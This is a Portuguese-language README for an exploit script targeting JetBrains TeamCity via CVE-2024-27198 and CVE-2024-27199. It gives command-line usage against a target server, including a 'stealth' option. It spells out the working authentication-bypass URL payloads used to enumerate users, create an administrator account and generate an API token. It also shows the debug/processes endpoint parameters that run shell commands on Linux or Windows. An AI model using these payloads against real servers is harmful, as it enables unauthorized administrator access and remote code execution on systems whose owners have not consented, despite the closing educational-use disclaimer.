
CVE-2024-27198 e CVE-2024-27199 Prova de Conceito - Execução Remota de Código (RCE), Criação de Conta de Administrador, Enumeração de Usuários, Informações do Servidor
Explorando CVE-2024-27198 & CVE-2024-27199
RCity é um script Python que interage com um servidor TeamCity vulnerável. A CVE facilita a criação não autorizada de contas de administrador, contornando os erros 403 no domínio. Enquanto também alcança RCE, através da rota Debug/Processes.
Para usar o script, você precisa fornecer a URL do servidor TeamCity alvo como um argumento de linha de comando com o argumento -t ou --target:
python3 RCity.py -t http://teamcity.com:8111
Você pode aumentar a verbosidade da saída com a opção -v ou --verbose:
python3 RCity.py -t http://teamcity.com:8111 --verbose
Você pode enviar comandos de uma só vez diretamente através da opção -c ou --command, se quiser um shell interativo NÃO use esta opção. Não é amigável com shells reversos, pois a conexão fecha após o comando ser enviado:
python3 RCity.py -t http://teamcity.com:8111 -c id
Você pode garantir que nenhuma requisição POST seja enviada ao servidor TeamCity usando a opção -s ou --stealth:
python3 RCity.py -t http://teamcity.com:8111 -s
Desabilita a função RCE - Todo o resto permanece igual
python3 RCity.py -t http://teamcity.com:8111 --no-rce
Impede que a lista de usuários seja coletada, pode ser demorado em listas de usuários maiores. Vá direto para o RCE com isso!
python3 RCity.py -t http://teamcity.com:8111 --no-enum



Aqui explicarei as funções usadas neste projeto, para esperançosamente dar a você uma melhor compreensão por trás deste exploit e das vulnerabilidades associadas a ele.
A natureza da vulnerabilidade correlaciona ambas CVE-2024-27198 e 99 devido ao problema ser produzido pela mesma bypass de autenticação para rotas da API REST em servidores JetBrains TeamCity. No entanto, o impacto da referida vulnerabilidade é onde ocorre a troca, e fica interessante... CVE-2024-27198 sendo o verdadeiro peso pesado no papel, devido ao seu impacto divulgado de RCE, utiliza o endpoint /app/rest/debug/processes, SOMENTE com as permissões para fazer as requisições necessárias a este endpoint, através de um Token de Autenticação. Esta chamada a este endpoint difere entre hosts Unix e Windows, no entanto é manipulada de forma semelhante, a única diferença sendo o shell nativo que é provocado para uma requisição.
Linux - processes?exePath=/bin/sh¶ms=-c¶ms={yourRCE_HTMLEncoded}
Windows - processes?exePath=cmd.exe¶ms=/c¶ms={yourRCE_HTMLEncoded}
Agora, como mencionado anteriormente - isso não é possível sem autenticação, deveria ser seguro... certo? É aí que entra o Bypass de Autenticação.
Contornar a política da build do TeamCity abre a oportunidade de fazer requisições contra o servidor e colocar nosso Token de Autenticação lá, sem sequer precisar tecnicamente de nossa própria conta.
O bypass em si, é criar um caminho alternativo para rotas REST, que sem entrar em muitos detalhes, exige o controle de conteúdos em uma classe cujo trabalho é lidar com requisições, especificamente aquelas que não são 302 (redirecionamentos), o que então nos permite controlá-la anexando 3 partes necessárias à nossa URL.
/haxjsp para consultar as rotas da API, por exemplo, o caminho users ?jsp=/app/rest/users;.jspOu seja, o payload final para fazer requisições não autorizadas ao endpoint de usuários é: /hax?jsp=/app/rest/users;.jsp
Agora podemos fazer requisições contra o endpoint de usuários e adicionar nossos próprios usuários, até mesmo Administradores!
No entanto, antes de irmos para RCE, precisamos de um token de autenticação, como portador para nossas requisições RCE contra sua API REST. Sem problema agora que temos nosso bypass, vamos fazer um!
O endpoint do token estava seguindo a mesma árvore de caminho do exemplo anterior, pode ser encontrado em /app/rest/users/id:{user_id}/tokens/{token_name}. Então vamos criar outro payload para contornar a autenticação e criar um token!
(Nós fornecemos nosso próprio nome de token para isso, para este script é uma geração aleatória de caracteres alfanuméricos ascii).
/hax?jsp=/app/rest/users/id:{user_id}/tokens/{token_name};.jsp
Após fazer nossa requisição POST para adicionar nosso token ao nosso usuário recém-criado, podemos agora começar a fazer requisições contra a rota /app/rest/debug/processes!
Nada de especial sobre a criação de nossos payloads RCE, apenas codifique seus payloads em HTML no argumento params!
Feliz hacking!
https://nvd.nist.gov/vuln/detail/CVE-2024-27198
https://github.com/W01fh4cker/CVE-2024-27198-RCE
Este script é apenas para fins educacionais. Use-o com responsabilidade e apenas em sistemas nos quais você tenha permissão para acessar.